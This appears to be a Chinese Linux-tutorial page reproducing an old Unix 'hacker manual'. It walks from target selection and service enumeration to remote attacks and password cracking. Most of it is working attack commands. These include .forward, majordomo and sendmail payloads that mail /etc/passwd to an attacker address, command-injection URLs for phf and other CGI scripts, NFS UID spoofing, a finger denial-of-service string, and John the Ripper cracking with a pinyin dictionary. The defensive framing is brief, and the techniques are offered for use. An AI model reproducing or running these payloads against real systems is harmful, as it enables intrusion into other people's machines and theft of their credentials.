当前位置:Linux教程 - Linux - SAMSA黑客手册

SAMSA黑客手册



        

    [摘要] 入侵一个系统有很多步骤,阶段性很强的“工作”,其最终的目
    标是获得超级用户权限——对目标系统的绝对控制。从对该系统一无所知
    开始,我们利用其提供的各种网络服务收集关于它的信息,这些信息暴露
    出系统的安全脆弱性或潜在入口;然后我们利用这些网络服务固有的或配
    置上的漏洞,试图从目标系统上取回重要信息(如口令文件)、或在上面
    执行命令,通过这些办法,我们有可能在该系统上获得一个普通的shell
    接口;接下来,我们再利用目标系统本地的操作系统或应用程序的漏洞试
    图提升我们在该系统上的权限,攫取超级用户控制;适当的善后工作包括
    隐藏身份、消除痕迹、安置特洛伊木马和留后门。


    为什么要研究网络入侵技术?《孙子兵法》有云:知己知彼、百战不殆。为了更好的防卫网络入侵,为了提高网络安全,为了网络管理员甚至系统设计者能够防患于未然,将安全隐患消灭或尽量减少,必须使大家了解网络黑客入侵技术的具体细节。因此笔者先做一个假设的替换,把自己放到一个黑客的位置,然后再诚实地从那个位置把黑客的秘密手段向大家展示。

    (零)、确定目标
    攻击的基本条件,除了攻击者和攻击技术,就是攻击对象,特定的对象(特定子网、特定主机)对特定的攻击者构成吸引力,也召唤着与之相适应的技术。

    0.1) 目标明确
    攻击者明确地知道要攻击的目标,如某可恶的ISP,如某敌对观点的宣传站点,如解雇了攻击者的单位的主页,等等。
    0.2) 区段搜索
    攻击者有大致的攻击范围(某一网段),但没有具体的主机作为目标,这时可以工具搜索出该网段上的所有机器,如用笔者开发的mping(multi-ping),用法如下:
    [synopsis] mping network netmask
    e.g.
    # mping 192.168.0.0 255.255.255.0

    第一个参数是欲搜索的网段,第二个参数是网络掩码。即可快速获取该网段上所有活动主机的IP地址。
    0.3) 抓网
    从一个有很多链接的WWW站点开始,顺藤摸瓜,自然可以找到许多域名和IP地址;
    0.4) 到网上去找站点列表
    很多网页上都有大量相关站点的列表;找到一个站点列表,就可以挨个儿进行攻击尝试了!

    (一)、情报搜集
    从对攻击目标一无所知开始,通过种种尝试,获得越来越多的关于它的信息;黑客的哲学是:没有无用的信息。几乎关于攻击目标的任何知识都是可能的入侵入口,举凡操作系统类型、版本、用户名等,即使是一些表面上无害的信息,也可能通过和别的信息综合而构成暴露系统漏洞的消息。

    1.1) 端口扫描
    端口扫描是通过扫描找出目标系统开放的服务端口从而推断出目标系统上运行的服务,通过这些服务可能获取进一步的知识或通往系统的路径。
    端口扫描的程序所在多有,可从网上免费获取,如笔者使用的一种,其输出如下:

    e.g.
    # tcp_scan numen 1-65535
    7:echo:
    9:discard:
    13:daytime:
    19:chargen:
    21:ftp:
    23:telnet:
    25:smtp:
    37:time:
    79:finger
    111:sunrpc:
    512:exec:
    513:login:
    514:shell:
    515:printer:
    540:uucp:
    2049:nfsd:
    4045:lockd:
    6000:xwindow:
    6112:dtspc:
    7100:fs:

    # udp_scan numen 1-65535
    7:echo:
    9:discard:
    13:daytime:
    19:chargen:
    37:time:
    42:name:
    69:tftp:
    111:sunrpc:
    161:UNKNOWN:
    177:UNKNOWN:
    ...

    大概地说,TCP和UDP端口扫描的机理都是依次(如从1号端口到n号)向目标系统的端口发出连接请求或服务请求包,若该端口上无服务程序守侯,则TCP协议层会回送一个RST(Reset)包,而UDP协议层则会回送一个ICMP Port Unreachable(端口不可达)包,如果没有收到这两种包,就说明该端口有一服务程序,再根据服务程序和著名端口号间的对应关系,既可推知目标系统上究竟运行着哪些服务了。
    观看端口扫描程序运行结果,如发现有下列服务:
    finger,sunrpc,nfs,nis(yp),tftp,ftp,telnet,http,shell(rsh),
    login(rlogin),smtp,exec(rexec),etc…
    则应引起注意。因为这些服务或者无偿向外界提供关于系统的重要知识,或者提供某种使用户可以“登录”到系统的方法,或者使得用户可以远程执行系统中的程序,所以都有可能是网络入侵的重要途径。在下面的叙述中读者将陆续看到这一点。

    1.2) finger
    如果端口扫描发现目标系统上开放了finger服务,这对攻击者来说真是福音,因为finger无偿地(即不需要任何认证手续)就向所有人提供关于系统用户的重要信息,而黑客入侵最重要的一种途径也即是冒充用户登录,所以开放finger实在是一件很危险的事。

    e.g.
    # finger [email protected]
    [victim.com]
    Login Name TTY Idle When Where
    root Super-User console 1 Fri 10:03 :0
    root Super-User pts/6 6 Fri 12:56 foo.com
    root Super-User pts/7 Fri 10:11 mor.com
    root Super-User pts/8 1 Fri 10:04 :0.0
    root Super-User pts/1 4 Fri 10:08 :0.0
    root Super-User pts/11 3:16 Fri 09:53 stu.com
    root Super-User pts/10 Fri 13:08 sil.com
    root Super-User pts/12 1 Fri 10:13 :0.0

    这个例子说明,该机器上有很多人以root身份登录着,也就是说,假使黑客能够以root身份登录进去,将不至于显得过于突出了(例中所有的机器域名替换成虚构的域名,但都有现实的基础,谨此说明,下同此)。

    # finger @victim.com
    [victim.com]
    Login Name TTY Idle When Where
    root Super-User console 7 Fri 10:03 :0
    john Johnathan Swift pts/6 11 Fri 12:56 foo.com
    jack Michael Jackson pts/7 Fri 10:11 mor.com
    mary Mariah Carey pts/11 3:21 Fri 09:53 stu.com
    root Super-User pts/10 3 Fri 13:08 sil.com
    sally Sallivan pts/11 12 Fri 11:07 idi.com

    \"finger @victim.com\"的意思是:请victim.com报告当前登录在它上面的所有用户情况。这个例子说明目前登录在victim.com上的有root、john、mary、sally等用户,他们分别来自虚构的foo.com、mor.com等主机。

    # finger [email protected]
    [victim.com]
    Login Name TTY Idle When Where
    daemon ??? < . . . . >
    bin ??? < . . . . >
    sys ??? < . . . . >
    leopard ??? pts/5 foo.com
    john ??? pts/12 foo.com
    lilac ??? pts/8
    yark ??? pts/9 samsa.com
    jack ??? pts/9 mor.com
    weeper ??? pts/9
    sally ??? pts/6 idi.com
    zebra ??? pts/9 zw.com
    mary ??? pts/9 stu.com

    \"finger [email protected]\"的意思是:请victim.com报告它上面所有的合法用户及其登录情况。得到了这个情报,黑客就可以挨个尝试以这些用户的身份登录系统了,通常可以利用一些有一段时间没有登录过的用户,或趁某用户不在线上时以他的身份登录,这样做的目的是以免被该用户发现,因为合法用户应该知道自己是从哪儿登录过来,并且也知道自己开了几个终端,黑客登录必然影响who或w命令输出,用户如果发现这输出与自己的情况不吻合,自然就会发现自己的帐号被人盗用了。

    # finger [email protected]@mor.com
    [mor.com]
    [victim.com]
    Login Name TTY Idle When Where
    daemon ??? < . . . . >
    bin ??? < . . . . >
    sys ??? < . . . . >
    leopard ??? pts/5 foo.com
    john ??? pts/12 foo.com
    lilac ??? pts/8
    yark ??? pts/9 samsa.com
    jack ??? pts/9 mor.com
    weeper ??? pts/9
    sally ??? pts/6 idi.com
    zebra ??? pts/9 zw.com
    mary ??? pts/9 stu.com

    \"finger [email protected]@mor.com\"是一种finger的级联,请求先发到mor.com,再由mor.com转给victim.com,最后的结果是victim.com给出的。

    # finger 0@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@victim.com
    [victim.com]
    unknown host:

    这个命令则有可能造成某些有缺陷的finger daemon因资源耗尽而暂时瘫痪,也算一种DoS(Denial of Service:拒绝服务)攻击吧。

    1.3) rusers
    rusers命令,\"remote users\",顾名思义,即询问远程主机关于其用户的信息,跟finger有类似之处。

    e.g.
    # rusers -l numen
    root numen:console May 7 10:03 22 (:0)
    john numen:pts/6 May 7 12:56 26 (mor.com)
    will numen:pts/7 May 7 10:11 (zw.com)
    mary numen:pts/11 May 7 09:53 3:37 (foo.com)
    paul numen:pts/10 May 7 13:08 18 (sil.com)

    列出numen上所有活动的用户。

    1.4) showmount
    NFS(Network File System:网络文件系统)是用来提供网络文件共享的,通过安装共享目录,可以实现不登录到一台主机即可读写该机上的硬盘内容,这对攻击者来说是非常有利的。
    showmount命令列出一台机器上共享出来的所有目录及其信息。

    e.g.
    # showmount -e numen.com
    export table of numen.com:
    /export/home (everyone)
    表示:numen.com把/export/home共享给所有人;

    # showmount -a numen.com
    foo.com:/export/home
    mor.com:/export/home
    表示:foo.com和mor.com安装了numen.com共享出来的/export/home。

    1.5) rpcinfo
    RPC(Remote Procedure Call:远程过程调用)是指从一台机器上可以直接调用另一台机器上的过程,通过使用一种称为EDR(External Data Representation)的数据表示方法,前者把参数传给后者,后者把计算结果返回给前者。
    rpcinfo报告关于一台主机上提供的可供外部进程调用的过程的信息。

    e.g.
    # rpcinfo -p numen.com
    program vers proto port service
    100000 4 tcp 111 rpcbind
    100000 4 udp 111 rpcbind
    100024 1 udp 32772 status
    100024 1 tcp 32771 status
    100021 4 udp 4045 nlockmgr
    100001 2 udp 32778 rstatd
    100083 1 tcp 32773 ttdbserver
    100235 1 tcp 32775
    100021 2 tcp 4045 nlockmgr
    100005 1 udp 32781 mountd
    100005 1 tcp 32776 mountd
    100003 2 udp 2049 nfs
    100011 1 udp 32822 rquotad
    100002 2 udp 32823 rusersd
    100002 3 tcp 33180 rusersd
    100012 1 udp 32824 sprayd
    100008 1 udp 32825 walld
    100068 2 udp 32829 cmsd
    可以看到numen.com提供了rpcbind, rusersd等过程服务,上面用到的rusers命令实际上就调用了目标机上的rusersd提供的过程。
    可惜没有打开rexd,如果打开了rexd,其效果就和没有password一样,攻击者可以随意运行目标机上的任何程序。

    1.6) x-windows
    X-Windos系统是一种客户/服务器结构的窗口系统,每个拥有显示设备的主机系统都可以作为服务器,并可接受另一个主机系统作为其客户,简而言之:程序在客户系统上运行,而用户界面却显示在服务器的显示设备上,客户通过网络把应该显示出来的东西传送给服务器,服务器则把用户的输入通过网络传送给客户。
    通常是服务器和客户都在本机上,即:程序在本机上运行,用户界面也显示在本机的显示设备上。远程的情况,概念则似乎有点别扭,依我的理解,主要用途在于,假设:我在主机A上通过telnet远程登录到主机B,这时如果我运行一些文本界面的程序,输入输出都可以通过telnet程序提供的伪终端进行,但如果我想运行一些图形界面的程序,由于telnet程序的伪终端不支持图形显示,就必须用到X-Windows系统了,需要做的工作是:
    首先,把主机A看作X服务器,使它同意接受主机B作它的客户,即在本机键入:
    A> xhost +B
    其次,在telnet窗口(主机B)中键入:
    B> DISPLAY=A:0.0
    B> export DISPLAY
    意味着:把A当作主机B当前shell的X服务器;
    此后我在B上通过telnet运行的图形界面程序(如Netscape)的图形界面就会显示在主机A的显示设备上,即:程序实际在B上运行,我却可以在主机A的显示设备上(就在我眼前)阅览和操作了。
    除了这种情况,似乎想象不出有别的使用X-Windows的必要,比如直接在我自己的机器上运行程序,界面却显示在别人的显示器上,这未免太古怪了。

    e.g.
    # DISPLAY=victim.com:0.0
    # export DISPLAY
    # xhost
    access control disabled, clients can connect from any host

    环境变量DISPLAY用于指定当前Shell的X服务器;\"xhost\"则用于设定该服务器允许或拒绝的主机;如上例,我把当前Shell的X服务器设为victim.com(显示设备为0.0号,通常就是唯一的那一台显示器),然后不带参数运行xhost命令,返回信息说明,victim.com允许任何主机做它的客户,这对黑客来说,实在是太愉快了,因为意味着从任何一台主机上可以控制victim.com的显示设备,可以窃取victim.com上的用户输入,甚至可以执行victim.com上的程序。

    # xwininfo -root

    xwininfo: Window id: 0x25 (the root window) (has no name)

    Absolute upper-left X: 0
    Absolute upper-left Y: 0
    Relative upper-left X: 0
    Relative upper-left Y: 0
    Width: 1152
    Height: 900
    Depth: 24
    Visual Class: TrueColor
    Border width: 0
    Class: InputOutput
    Colormap: 0x21 (installed)
    Bit Gravity State: ForgetGravity
    Window Gravity State: NorthWestGravity
    Backing Store State: NotUseful
    Save Under State: no
    Map State: IsViewable
    Override Redirect State: no
    Corners: +0+0 -0+0 -0-0 +0-0
    -geometry 1152x900+0+0

    \"xwininfo\"用于显示X服务器的窗口信息,\"xwininfo -root\"即显示根窗口的信息,所谓根窗口,即桌面,所有其它的窗口都显示在它上面,都是它的子窗口。输出结果包括其大小、位置、窗口标识号等等数据。知道了一个窗口的标识号,就可以用一些工具(如一个叫xwatchwin的程序)来监视这个窗口上的一切显示。

    1.7) smtp
    SMTP(Small Mail Transfer Protocol:小邮件传输协议)是用来发送邮件的协议,其服务守护程序是Sendmail。Sendmail因为大而复杂,配置又十分麻烦,所以一度曾是Unix上的漏洞最多的程序,著名的蠕虫病毒就是利用Sendmail旧版本上的一个\"DEBUG\"命令的漏洞而从一个系统传播到另一个系统。

    e.g.
    # telnet numen.com smtp
    Trying xxx.xxx.xxx.xxx...
    Connected to numen.com.
    Escape character is \^]\.
    220 numen.com ESMTP Sendmail 8.9.1b+Sun/8.9.1; Fri, 7 May 1999 14:01:39 +0800
    (CST)
    expn root
    250 Super-User [email protected]
    expn ftp
    250 [email protected]
    vrfy byron
    550 byron... User unknown

    使用\"vrfy\"或\"expn\"命令,可以判断特定用户名是否合法,如上面\"ftp\"为合法用户名,\"byron\"则不是合法用户名。其用处在于:如果不能用finger或rusers获得目标主机上的用户列表,可以用这种方法猜测用户名,至少能判断出是否真存在某个特定用户——如果不能判断这一点,那猜测口令就无从谈起。

    1.8) 使用Scanner(Security Scanner:安全扫描器)
    安全扫描器是一种程序,它能够通过探测和模拟攻击而搜集主机甚至子网的各种信息——包括脆弱性信息,即:该主机或该子网有那些安全漏洞?Satan是这类程序中最用名的一个,它其实综合了我们上面所述那些方法,并且不只于此,因此Satan能给出非常丰富的关于攻击目标的信息列表,包括系统类型、操作系统版本、提供的服务种类、系统漏洞等。所以攻击前最好先用Satan进行一番扫描,然后再根据所得信息对症下药,必有事半功倍之效。
    Satan是图形界面的,就不陈列其输出结果了。


    二、远程攻击
    取得一个用户Shell是一种根本性的突破,但在那之前也有很多事情要做、可做,主要是想方设法从目标主机上取得passwd文件,也可以进行一些破坏或取得一定控制。
    2.1) 获取passwd文件
    取得passwd是获取用户Shell的关键,通过破解用户口令,攻击者有可能冒充用户登录,从而获得一个用户Shell。
    2.1.1) tftp
    tftp(Trivial File Transfer Protocol)是一种基于UDP的不要求用户身份认证的文件传输协议,主要用于无盘工作站启动时从启动服务器上下载操作系统和应用程序时用的。由于没有认证能力,任何人都可以从提供tftp的主机上存取文件,至于其限度,则要视tftp daemon的权限而定。

    e.g.
    # tftp victim.com
    tftp> get /etc/passwd
    Error code 2: Access violation
    tftp> get /etc/shadow
    Error code 2: Access violation
    tftp> quit

    尝试失败,大概victim.com上没有运行tftp daemon。

    # tftp sun8.com
    tftp> get /etc/passwd
    Received 965 bytes in 0.1 seconds
    tftp> get /etc/shadow
    Error code 2: Access violation

    成功取得/etc/passwd文件。

    # cat passwd
    root:x:0:0:Super-User:/:/bin/ksh
    daemon:x:1:1::/:
    bin:x:2:2::/usr/bin:
    sys:x:3:3::/:/bin/sh
    adm:x:4:4:Admin:/var/adm:
    lp:x:71:8:Line Printer Admin:/usr/spool/lp:
    smtp:x:0:0:Mail Daemon User:/:
    uucp:x:5:5:uucp Admin:/usr/lib/uucp:
    nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
    listen:x:37:4:Network Admin:/usr/net/nls:
    nobody:x:60001:60001:Nobody:/:
    noaccess:x:60002:60002:No Access User:/:
    alex:x:10007:10::/users/alex:/bin/sh
    cider:x:10020:10::/users/cider:/bin/sh
    walt:x:10101:4:Walt Whiteman:/users/walt:/sbin/sh

    虽然是shadow过的,但仍然提供了关于用户的信息。

    2.1.2) 匿名ftp
    2.1.2.1) 直接获得

    e.g.
    # ftp sun8
    Connected to sun8.
    220 sun8 FTP server (UNIX(r) System V Release 4.0) ready.
    Name (sun8:root): anonymous
    331 Guest login ok, send ident as password.
    Password: [输入电子邮件地址]
    230 Guest login ok, access restrictions apply.
    ftp> ls
    200 PORT command successful.
    150 ASCII data connection for /bin/ls (192.168.0.198,34243) (0 bytes).
    bin
    dev
    etc
    incoming
    pub
    usr
    226 ASCII Transfer complete.
    35 bytes received in 0.85 seconds (0.04 Kbytes/s)
    ftp> cd etc
    250 CWD command successful.
    ftp> ls
    200 PORT command successful.
    150 ASCII data connection for /bin/ls (192.168.0.198,34244) (0 bytes).
    group
    passwd
    226 ASCII Transfer complete.
    15 bytes received in 0.083 seconds (0.18 Kbytes/s)
    ftp> get passwd
    200 PORT command successful.
    150 ASCII data connection for passwd (192.168.0.198,34245) (223 bytes).
    226 ASCII Transfer complete.
    local: passwd remote: passwd
    231 bytes received in 0.038 seconds (5.98 Kbytes/s)

    # cat passwd
    root:x:0:0:Super-User:/:/bin/ksh
    daemon:x:1:1::/:
    bin:x:2:2::/usr/bin:
    sys:x:3:3::/:/bin/sh
    adm:x:4:4:Admin:/var/adm:
    uucp:x:5:5:uucp Admin:/usr/lib/uucp:
    nobody:x:60001:60001:Nobody:/:
    ftp:x:210:12::/export/ftp:/bin/false

    ftp的根目录不同于系统的根目录,所以ftp下看到的/etc/passwd和系统的/etc/passwd不是一个文件,但有些不称职的系统管理员在创建ftp目录结构时会把系统的/etc/passwd文件直接拷贝过来,遇到这种情况黑客就会有意外的惊喜了。上面例子中没有这样的毛病。

    2.1.2.2) 主目录可写
    主目录即上文说的ftp根目录,是在/etc/passwd文件中指定的,也就是用匿名ftp登录到主机后的起始目录。

    e.g.
    # cat forward_sucker_file
    \"| /bin/cat /etc/passwd|sed \s/^/ /\|/bin/mail [email protected]\"
    # ftp victim.com
    Connected to victim.com
    220 victim FTP server ready.
    Name (victim.com:zen): ftp
    331 Guest login ok, send ident as password.
    Password: [输入电子邮件地址]
    230 Guest login ok, access restrictions apply.
    ftp> put forward_sucker_file .forward
    43 bytes sent in 0.0015 seconds (28 Kbytes/s)
    ftp> quit
    # echo test | mail [email protected]

    如果匿名ftp主目录可写,可以在其下投放一个\".forward\"文件;文件内容是一行用双引号引起来的Shell命令;\".forward\"文件是用于邮件转发的:如果某一用户(此处为ftp)的主目录下有这个文件时,那么当该用户收到邮件时,就要视\".forward\"的内容进行转发,如果\".forward\"的内容为一些电子邮件地址,该邮件就被转发到这些地址,而如果为一行用双引号引起来的Shell命令,则该邮件的内容被重定向到此命令。此处,命令为:\"| /bin/cat /etc/passwd|sed \s/^/ /\|/bin/mail [email protected]\",实际上对重定向过来的作为输入的邮件内容没有做任何处理,而是把/etc/passwd(为了防止被安全机制过滤,先在每一行行首增加一个空格)发到了攻击者的电子邮件地址([email protected])。因此,在投放了这样一个\".forward\"文件后,再随便发一封电子邮件给victim.com上的ftp用户,通过神奇的“转发”功能,victim.com上的/etc/passwd文件就寄到攻击者的电子邮件地址上来了。

    2.1.3) WWW
    很多WWW服务器都有预装的CGI程序,其中有些由于设计上的失误,使得攻击者可以利用它们来做一些设计者没有料到的事:如随意执行服务器主机上的任何命令。下面是几个著名buggy CGI:
    2.1.3.1) phf
    e.g.
    http://sil.com/cgi-bin/nph-test-cgi?*
    http://sil.com/cgi-bin/phf?Qalias=x%0aless%20/etc/passwd
    2.1.3.2) campus
    e.g.
    http://sil.com/cgi-bin/campus?%0a/bin/cat%0a/etc/passwd
    2.1.3.3) glimpse
    e.g.
    http://sil.com/cgi-bin/aglimpse/80|IFS=5;CMD=5mail5me\\@my.e-mail.
    addr\\
    这几种方法都可以得到目标主机上的/etc/passwd(当然,前提都是该机提供WWW服务并且cgi-bin下放有这几种buggy CGI)。

    2.1.4) nfs
    2.1.4.1) 如果把/etc共享出来,就不必说了
    2.1.4.2) 如果某用户的主目录共享出来

    e.g.
    # finger -l [email protected]
    [sun8.com]
    Login name: walt
    Directory: /users/walt Shell: /bin/ksh
    Last login Tue Oct 19 21:09 on 24 from mor.com
    Mail last read Fri Oct 8 09:53:06 19xx
    No Plan.

    看出用户walt的主目录为/users/walt

    # showmount -e sun8.com
    export list for sun8.com:
    /users/alex sun9.com
    /users/walt (everyone)

    sun8.com的NFS把该目录共享给每个人;

    # mount -F nfs sun8.com:/users/walt /mnt

    将sun8.com的/users/walt目录安装在/mnt上;

    # cd /mnt
    # ls -ld .
    drwxr-xr-x 6 10101 staff 2560 1999 5月 11 .
    # echo walt:x:10101:1:temporary break-in account:/:/bin/sh >> /etc/passwd
    # echo walt::::::::: >> /etc/shadow
    # su walt

    walt的UID(User Identifier:用户标识号)为10101,于是在本地创建一个名叫\"walt\",UID为10101的用户,用su命令在本地成为这个用户(攻击者在本地应该是超级用户)。

    $ cat >.forward
    \"| /bin/cat /etc/passwd|sed \s/^/ /\|/bin/mail [email protected]\"
    ^D
    # echo test | mail [email protected]

    冒充用户walt在安装过来的sun8.com的/users/walt下(即walt在sun8.com上的主目录下)放一个\".forward\"文件,再发一封电子邮件给该用户,根据上面已经讲过的道理,邮件转发机制就会把sun8.com的/etc/passwd文件邮寄给攻击者了。

    2.1.5) Sniffer(网络嗅探器)
    关于Sniffer的原理和技术细节,见[samsa 1999]。概言之,由于大多数网络数据流是明文传输的,所以在广播性质的以太网内,任何一台主机都可以偷听到其他主机间的任何通信,包括用于网络登录用户认证的口令。获得用户口令后,自然可以冒充该用户登录到攻击目标上去。
    Sniffer的局限是:攻击者和被攻击者必须在同一个以太局域网内,这通常不仅意味着物理上的邻近,而且意味着组织和部门上的邻近,即攻击者为内部人员。

    2.1.6) NIS
    NIS(Network Information System:网络信息系统)用于网络管理信息的共享和同意管理;原来,诸如passwd、hosts、networks、alias等等系统配置信息都是分散在各台主机上,各不相属的,但实际上这些信息在同一个子网内往往是公共的,NIS即是为这些信息提供一个统一的存放地点(NIS服务器),这样不仅可以避免重复,还容易保持这些信息的一致性。NIS又称Yellow Page(黄页。来源:电话簿一般是黄色页面),故其命令都以yp-开头;后来又有新的NIS+,其命令改成以nis-开头。
    2.1.6.1) 猜测域名,然后用ypcat(或对于NIS+:niscat)可获得passwd(甚至shadow)
    使用NIS后,用户口令信息从NIS服务器上获取;
    2.1.6.2) 若能控制NIS服务器,可创建邮件别名

    e.g.
    nis-master # echo \foo: \"| mail [email protected] < /etc/passwd \"\ >> /etc/aliases
    nis-master # cd /var/yp
    nis-master # make aliases
    nis-master # echo test | mail -v [email protected]

    假设控制了NIS服务器,在该服务器上建立一个名叫\"foo\"的别名,则这个别名为该NIS域内所有的主机共享,其中包括攻击目标victim.com,所以当攻击者发一封信到[email protected]时,victim.com就从NIS服务器取得别名\"foo\"的定义,即:把victim.com上的/etc/passwd文件发送到攻击者的电子邮件地址。

    2.1.7) e-mail
    电子邮件看上去好象是一种最无害的网络服务方式,但在黑客看来,每个开向网络的窗口都可能成为通向系统的大门,果然,此言不虚。

    e.g.利用majordomo(ver. 1.94.3)的漏洞
    Reply-to: a~.`/usr/bin/rcp\\${IFS}[email protected]:script\\${IFS}/tmp
    /script&&source\\${IFS}/tmp/script`.q~a/ad=cucu/c=scapegoat\\\\\\@his.e-mail

    majordomo是一种电子邮寄列表(mailing list)服务器,所谓mailing list是服务器维护着的一张电子邮件地址的表,服务器负责把所有发向该列表的信件转发到列表中的每个电子邮件地址,这样就可以形成一个虚拟的公共场所,在其中每个人的声音都可以被所有其他的人听到。Majordomo被全世界众多的mailing list广泛使用,其特定版本(v. 1.94.3)中有一个漏洞,黑客可以利用这个漏洞来在目标机上运行了任何Shell脚本,方法是把这个脚本放在自己的Home目录下,并保证本地机允许目标机用rcp拷贝这个脚本,然后向该邮件列表发一封电子邮件,在Reply-to域中键入上列的字符串。

    # cat script
    /bin/cat /etc/passwd|sed \s/^/ /\|/bin/mail [email protected]

    如果脚本内容如上所示,则该majordomo程序将会把目标上的/etc/passwd寄给攻击者。

    2.1.8) sendmail
    2.1.8.1)利用sendmail 5.55的漏洞:
    e.g.
    # telnet victim.com 25
    Trying xxx.xxx.xxx.xxx...
    Connected to victim.com
    Escape character is \^]\.
    220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
    mail from: \"|/bin/mail [email protected] < /etc/passwd\"
    250 \"|/bin/mail [email protected] < /etc/passwd\"... Sender ok
    rcpt to: nosuchuser
    550 nosuchuser... User unknown
    data
    354 Enter mail, end with \".\" on a line by itself
    .
    250 Mail accepted
    quit
    Connection closed by foreign host.

    效果类似,得到victim.com的passwd文件。

    2.1.8.2)利用/etc/aliases.pag,aliases.pag是/etc/aliases编译后的形态,在许多系统中这个文件是对所有人可写的(world-writable)。
    e.g.
    # cat decode
    bin: \"| cat /etc/passwd | mail [email protected]\"
    # newaliases -oQ/tmp -oA`pwd`/decode
    # uuencode decode.pag /etc/aliases.pag | mail [email protected]
    # /usr/lib/sendmail -fbin -om -oi [email protected] < /dev/null

    本地的uuencode程序生成一个编码流,文件名为\"/etc/aliases.pag\",内容与本地/decode相同,并作为电子邮件发给victim.com上的decode别名,victim.com收到该邮件后,把这个编码流重定向到解码程序uudecode,uudecode则恢复文件内容,并试图把它存为/etc/aliases.pag,如果daemon对/etc/aliases.pag有写权限,则改写成功,于是victim.com上就出现一个别名\"bin\"——它所做的正是发送攻击者需要的passwd文件到其电子邮箱。


    2.2) 远程控制
    2.2.1) DoS攻击
    2.2.1.1) Syn-flooding
    向目标发起大量TCP连接请求,但不按TCP协议规定完成正常的3次握手,导致目标系统等待,耗费其网络资源,从而导致其网络服务不可用。
    2.2.1.2) Ping-flooding
    向目标系统发大量ping包,i.e.ICMP_ECHO包,使目标的网络接口应接不暇而瘫痪。
    2.2.1.3) Udp-stroming
    类似2.2.1.2)发大量udp包。
    2.2.1.4) E-mail bombing
    发大量e-mail到对方邮箱,使其没有剩余容量接收正常邮件。
    2.2.1.5) Nuking
    向目标系统某端口发送一点特定数据,使之崩溃。e.g.Window 95以下、Windows NT 4.0以下,向其139/TCP端口发任意一点OOB(Out Of Band:带外)数据,就使其网络功能瘫痪,甚至死机。
    2.2.1.6) Sniping
    Sniping(狙击)冒充特定网络连接之一方向网络上发送特定包(FIN或RST),以中止特定网络连接。这就涉及一个比较大的话题,即IP-Spoofing(IP欺骗),关于IP欺骗详见[Claerhout 1996],下面仅简明扼要地做一说明:IP地址是Internet上唯一标识一台主机的编号,根据IP协议,判断一个IP包的来源仅根据该IP包包头中“源IP”一项,而这一项又是可由发送者任意填写的,所以,实际上,发送者可以任意地声称自己为任意另一台主机,这就是“IP欺骗”的基本原理。但要使IP欺骗有意义,还要具备许多其他条件,如Sniping,通常是针对TCP连接而言,而作为可靠的、面向连接的协议,TCP在其报头中提供了许多额外信息来完成应答、重发、流量控制等功能,不符合协议的TCP则会被协议栈无情的抛弃,因此Sniping中的IP欺骗的关键就在构造出符合协议的TCP报。那么,有哪些东西是必须考虑的呢?主要是Seq和Ack,前者是在一个TCP连接中唯一标识一个TCP数据报的号码,后者则是对新近收到的来自连接对方的数据报的应答号码,具体如下:

    e.g.
    设A与B之间有一个合法的TCP连接,攻击者在主机C上,A和C在同一以太网内,攻击者欲中断这个合法连接:
    1) 从网络上监听到A从B到的报:SEQ=0x57E1F2A6 ACK=0xB8BD7679 Datalen=2
    2) C冒充B给A发一个FIN包(要求中断连接的包):SEQ=0xB8BD7679 ACK=0x57E1F22A8
    其中SEQ等于原包的ACK,ACK等于原包的SEQ加上其Datalen。
    这个包如果比B给的应答包早到达C,C则以为B要求中断连接,于是中断连接,等真正B的应答包到来时,连接已断,协议栈会回答一个RST包,在B端就将得到一个\"Connection Reset\"的信息。

    2.2.2) WWW(远程执行)
    指不登录到目标主机但远程运行目标主机上的程序,与上文多有重复,但上文重要强调远程获取/etc/passwd文件,现在强调远程执行目标主机上的任意程序。
    2.2.2.1) phf CGI
    2.2.2.3) campus CGI
    2.2.2.4) glimpse CGI
    上文皆已讲过,恕不重复。

    2.2.3) e-mail
    同2.1.7,利用majordomo(ver. 1.94.3)的漏洞

    2.2.4) sunrpc:rexd
    据说如果rexd开放,且rpcbind不是secure方式,就相当于没有口令,可以任意远程运行目标机器上的过程.

    2.5) x-windows
    如果xhost的access control is disabled,就可以远程控制这台机器的显示系统,在上面任意显示,还可以偷窃键盘输入和显示内容,甚至可以远程执行...(具体方法已非本文可涵盖,参看X-Windows系统说明文档)。


    三、登堂入室(远程登录)
    这一步的目标是登录到被攻击的主机,在上面获得一个Shell,以直接运行命令。
    3.1) telnet
    用telnet登录到主机,要点是取得用户帐号和保密字。
    3.1.1) 取得用户帐号
    3.1.1.1) 使用“白手起家”中介绍的方法
    3.1.1.2) 其他方法:
    e.g.根据从那个站点寄出的e-mail地址
    如果一个WWW网站有联系人[email protected]的电子邮件地址,那很可能victim.com上有john这个帐号。
    3.1.2) 获取口令
    这里说的口令是指明文口令。
    3.1.2.1) 口令破解
    通过把破解把加密的口令变成明文。
    3.1.2.1.1) 使用“隔空取物”中介绍的方法取得/etc/passwd和/etc/shadow
    3.1.2.1.2) 使用口令破解程序破解口令

    e.g.使用John the Ripper:
    # unshadow passwd shadow > pswd.1
    # pwd_crack -single pswd.1
    # pwd_crack -wordfile:/usr/dict/words -rules pswd.1
    # pwd_crack -i:alph5 pswd.1

    John the Ripper是一个广为使用的UNIX口令破解软件;unshadow是把passwd文件和shadow合成在一起,pwd_crack是破解口令,有多种方式:-single根据用户名的简单变体猜测口令,-wordfile根据字典(实际上是单词列表)猜测,-i则是根据构词规则;因为UNIX口令的加密是用的单向函数,所以无法真正解密,只能猜测口令,把所猜的口令进行相同的单向映射,然后比较加密结果,如果结果相同,则说明实际口令与所猜的相符合。

    3.1.2.1.3) 字典
    如上文所说可知,一个好的字典对破解口令是至关重要的;通常使用的字典主要是英文单词和一些常用的符号串如缩略语、软件名称、硬件型号等等,鉴于中国人经常使用汉语拼音(如人名地名等)作为口令,笔者开发了的适合中国人的字典生成程序:

    e.g.
    # dicgen 1 words1 /* 所有1音节的汉语拼音 */
    # dicgen 2 words2 /* 所有2音节的汉语拼音 */
    # dicgen 3 words3 /* 所有3音节的汉语拼音 */
    # pwd_crack -wordfile:words1 -rules pswd.1
    # pwd_crack -wordfile:words2 -rules pswd.1
    # pwd_crack -wordfile:words3 -rules pswd.1

    这样生成的字典是很庞大的,如3音节的汉语拼音字串竟有24,431,843个之多,字典文件大小达195MB,这样的字典对于破解口令还是很有帮助的。

